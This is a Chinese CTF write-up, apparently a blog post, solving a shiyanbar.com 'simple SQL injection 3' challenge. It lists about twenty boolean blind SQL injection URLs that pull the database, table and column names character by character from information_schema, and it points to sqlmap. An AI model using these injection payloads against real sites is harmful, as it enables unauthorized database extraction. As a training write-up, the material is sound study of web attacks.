WEB_簡單的sql注入之3

時間:2017.9.29

題目鏈接:www.shiyanbar.com/ctf/1909

解題思路:類型為 bool 型的盲注抡柿,數(shù)據(jù)庫為MySQL

1) http://ctf5.shiyanbar.com/web/index_3.php?id=1 and 1=1? ?/? ? 1=2? ? ? ?沒有變化

? ? ? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and '1'='1? ?/? ? '1'='2? ?有變化

得出結(jié)論:這是關(guān)于bool的盲注

2) http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(database())>0,這語句老是報錯,我知道是單引號沒閉合患膛,但是不知道該怎么寫,后來就用sqlmap跑了一下,知道了正確的寫法應(yīng)該是這樣寫的连茧,得出當(dāng)前數(shù)據(jù)庫長度為4

?http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(database())=4 and '1'='1??

報錯

3) http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr(database(),1,1))=119? and '1'='1? ——? w? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr(database(),2,1))=101? and '1'='1? ? ? ? ——? e http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr(database(),3,1))=119? and '1'='1? ? ? ? ——? b http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr(database(),4,1))=49 and '1'='1? ? ? ? ? ?——? 1? 得出數(shù)據(jù)庫名為 web1

4) http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=2? and '1'='1? ——? 得出web1數(shù)據(jù)庫中有2張表

5) http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4? and '1'='1 ——第1張表名長為 4? ? ? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=4? and '1'='1 —— 第2張表名長為5

6) 先猜第1張表名

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102? and '1'='1? ——? f http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108? and '1'='1? ——? l http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=97? and '1'='1? ——? a? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103? and '1'='1? ——? g

7) 然后猜解flag表中字段數(shù)

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and (select count(column_name) from information_schema.columns where table_name='flag')=2? and '1'='1? ——? flag 表中只有2個字段

8) 猜解flag 表中2個字段長度

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=4? and '1'='1? ——? 第1個字段長4? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))=4? and '1'='1? ——? 第二個字段長2

9) 猜解flag 表中2個字段名稱

http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=102? and '1'='1? ——? f? http://ctf5.shiyanbar.com/web/index_3.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),2,1))=108? and '1'='1? ——? l

以此類推

10) 猜解數(shù)據(jù)

都是這樣的步驟鬓长,手工注入好繁瑣啊谒拴,可以直接用sqlmap,比較快

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末涉波,一起剝皮案震驚了整個濱河市英上,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌啤覆,老刑警劉巖苍日,帶你破解...
    沈念sama閱讀 222,183評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異城侧,居然都是意外死亡易遣,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,850評論 3 399
  • 文/潘曉璐 我一進(jìn)店門嫌佑,熙熙樓的掌柜王于貴愁眉苦臉地迎上來豆茫,“玉大人,你說我怎么就攤上這事屋摇】辏” “怎么了?”我有些...
    開封第一講書人閱讀 168,766評論 0 361
  • 文/不壞的土叔 我叫張陵炮温,是天一觀的道長火脉。 經(jīng)常有香客問我,道長柒啤,這世上最難降的妖魔是什么倦挂? 我笑而不...
    開封第一講書人閱讀 59,854評論 1 299
  • 正文 為了忘掉前任,我火速辦了婚禮担巩,結(jié)果婚禮上方援,老公的妹妹穿的比我還像新娘。我一直安慰自己涛癌,他們只是感情好犯戏,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,871評論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著拳话,像睡著了一般先匪。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上弃衍,一...
    開封第一講書人閱讀 52,457評論 1 311
  • 那天呀非,我揣著相機(jī)與錄音,去河邊找鬼镜盯。 笑死姜钳,一個胖子當(dāng)著我的面吹牛坦冠,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播哥桥,決...
    沈念sama閱讀 40,999評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼辙浑,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了拟糕?” 一聲冷哼從身側(cè)響起判呕,我...
    開封第一講書人閱讀 39,914評論 0 277
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎送滞,沒想到半個月后侠草,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,465評論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡犁嗅,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,543評論 3 342
  • 正文 我和宋清朗相戀三年边涕,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片褂微。...
    茶點(diǎn)故事閱讀 40,675評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡功蜓,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出宠蚂,到底是詐尸還是另有隱情式撼,我是刑警寧澤,帶...
    沈念sama閱讀 36,354評論 5 351
  • 正文 年R本政府宣布求厕,位于F島的核電站著隆,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏呀癣。R本人自食惡果不足惜美浦,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,029評論 3 335
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望项栏。 院中可真熱鬧浦辨,春花似錦、人聲如沸忘嫉。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽庆冕。三九已至,卻和暖如春劈榨,著一層夾襖步出監(jiān)牢的瞬間访递,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評論 1 274
  • 我被黑心中介騙來泰國打工同辣, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留拷姿,地道東北人惭载。 一個月前我還...
    沈念sama閱讀 49,091評論 3 378
  • 正文 我出身青樓,卻偏偏與公主長得像响巢,于是被迫代替她去往敵國和親描滔。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,685評論 2 360

推薦閱讀更多精彩內(nèi)容

  • Sql注入定義: 就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串踪古,最終達(dá)到欺騙服務(wù)器執(zhí)行...
    付出從未后悔閱讀 697評論 0 3
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理含长,服務(wù)發(fā)現(xiàn),斷路器伏穆,智...
    卡卡羅2017閱讀 134,707評論 18 139
  • Spark SQL, DataFrames and Datasets Guide Overview SQL Dat...
    Joyyx閱讀 8,328評論 0 16
  • 做完發(fā)神經(jīng)拘泞,睡不著,玩游戲玩到3點(diǎn)多枕扫,然后一直睡到早上9點(diǎn)陪腌,真的是不能忍,這種作息烟瞧,這種生活狀態(tài)太失敗了诗鸭。然而,這...
    禕Yi閱讀 186評論 0 0
  • 秋風(fēng) 秋風(fēng)瑟瑟繞窗欞燕刻, 滿庭清涼人入靜只泼, 憑欄遠(yuǎn)眺秋色怡, 山水一線云相依卵洗。 秋雨 淫雨霏霏幾時...
    卓女閱讀 129評論 0 8